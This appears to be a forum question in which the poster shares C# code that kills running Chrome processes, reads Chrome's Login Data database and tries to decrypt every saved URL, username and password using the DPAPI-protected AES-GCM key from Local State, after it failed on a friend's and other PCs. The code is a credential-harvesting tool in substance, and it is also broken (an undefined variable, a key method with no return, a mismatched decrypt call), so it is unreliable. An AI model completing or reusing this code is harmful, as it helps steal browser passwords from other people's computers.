I've had the same issue for two days now: System.Security.Cryptography.CryptographicException: The parameter is incorrect
in System.Security.Cryptography.ProtectedData.Unprotect(Byte[] encryptedData, Byte[] optionalEntropy, DataProtectionScope scope)
I used this project for my code: https://github.com/jabiel/BrowserPass/tree/master/BrowserPass
In that project the error should be in ChromePassReader.cs, line 42 I guess.
Everything was working properly on my computer, a friend of mine made me try it on his computer and it's not working for him. I have tried also on other PCs, but without success.
Most suitable answer (proposed by Topaco): The type of decryption I'm using is useful for Data Encrypted with DPAPI. Since v80.0 or later Chrome version, password data are encrypted using Aes 256 Gcm, so:
Update
I tried writing a code to decrypt AesGcm256 Password data. I get the user data from the database, located in Google Chrome folders, called Login Data. Then I should decrypt the password I get from there using AesGcm256 Decryption, but I'm not able to do it. This is my attempt:
Where I get URLs, Usernames, Passwords:
using System;
using System.Collections.Generic;
using System.Net;
using System.Data.SQLite;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.IO;
using System.Security.Cryptography;
using System.Diagnostics;
using SalsaClient.Algorithm;
namespace SalsaClient.CDS
{
class ChromePassReader : IPassReader
{
public string BrowserName { get { return "Chrome"; } }
private const string LOGIN_DATA_PATH = "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Login Data";
public IEnumerable<CredentialModel> ReadPasswords()
{
var result = new List<CredentialModel>();
var appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);// APPDATA
var p = Path.GetFullPath(appdata + LOGIN_DATA_PATH);
if (File.Exists(p))
{
Process[] chromeInstances = Process.GetProcessesByName("chrome");
foreach (Process proc in chromeInstances)
proc.Kill();
using (var conn = new SQLiteConnection($"Data Source={p};"))
{
conn.Open();
using (var cmd = conn.CreateCommand())
{
cmd.CommandText = "SELECT action_url, username_value, password_value FROM logins";
using (var reader = cmd.ExecuteReader())
{
if (reader.HasRows)
{
while (reader.Read())
{
var pass = AesGcm256.decrypt(GetBytes(reader, 2)); //encrypted data
result.Add(new CredentialModel()
{
Url = reader.GetString(0),
Username = reader.GetString(1),
Password = pass
});
}
}
}
}
conn.Close();
}
}
else
{
throw new FileNotFoundException("Cannot find chrome logins file");
}
return result;
}
private byte[] GetBytes(SQLiteDataReader reader, int columnIndex)
{
const int CHUNK_SIZE = 2 * 1024;
byte[] buffer = new byte[CHUNK_SIZE];
long bytesRead;
long fieldOffset = 0;
using (MemoryStream stream = new MemoryStream())
{
while ((bytesRead = reader.GetBytes(columnIndex, fieldOffset, buffer, 0, buffer.Length)) > 0)
{
stream.Write(buffer, 0, (int)bytesRead);
fieldOffset += bytesRead;
}
return stream.ToArray();
}
}
}
}
Algorithm:
using Newtonsoft.Json;
using Org.BouncyCastle.Crypto.Engines;
using Org.BouncyCastle.Crypto.Modes;
using Org.BouncyCastle.Crypto.Parameters;
using System;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
namespace SalsaClient.Algorithm
{
class AesGcm256
{
public static string GetKey()
{
string sR = string.Empty;
var appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);// APPDATA
var path = Path.GetFullPath(appdata + "\\..\\Local\\Google\\Chrome\\User Data\\Local State");
string v = File.ReadAllText(path);
dynamic json = JsonConvert.DeserializeObject(v);
string key = json.os_crypt.encrypted_key;
byte[] src = Convert.FromBase64String(key);
byte[] encryptedKey = src.Skip(5).ToArray();
byte[] data = Convert.FromBase64String(encodedString);
string decodedString = Encoding.UTF8.GetString(data);
byte[] decryptedKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser);
}
public static string decrypt(string EncryptedText, byte[] key, byte[] iv)
{
string sR = string.Empty;
try
{
byte[] encryptedBytes = Convert.FromBase64String(EncryptedText);
GcmBlockCipher cipher = new GcmBlockCipher(new AesFastEngine());
AeadParameters parameters = new AeadParameters(new KeyParameter(key), 128, iv, null);
cipher.Init(false, parameters);
byte[] plainBytes = new byte[cipher.GetOutputSize(encryptedBytes.Length)];
Int32 retLen = cipher.ProcessBytes(encryptedBytes, 0, encryptedBytes.Length, plainBytes, 0);
cipher.DoFinal(plainBytes, retLen);
sR = Encoding.UTF8.GetString(plainBytes).TrimEnd("\r\n\0".ToCharArray());
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
Console.WriteLine(ex.StackTrace);
}
return sR;
}
}
}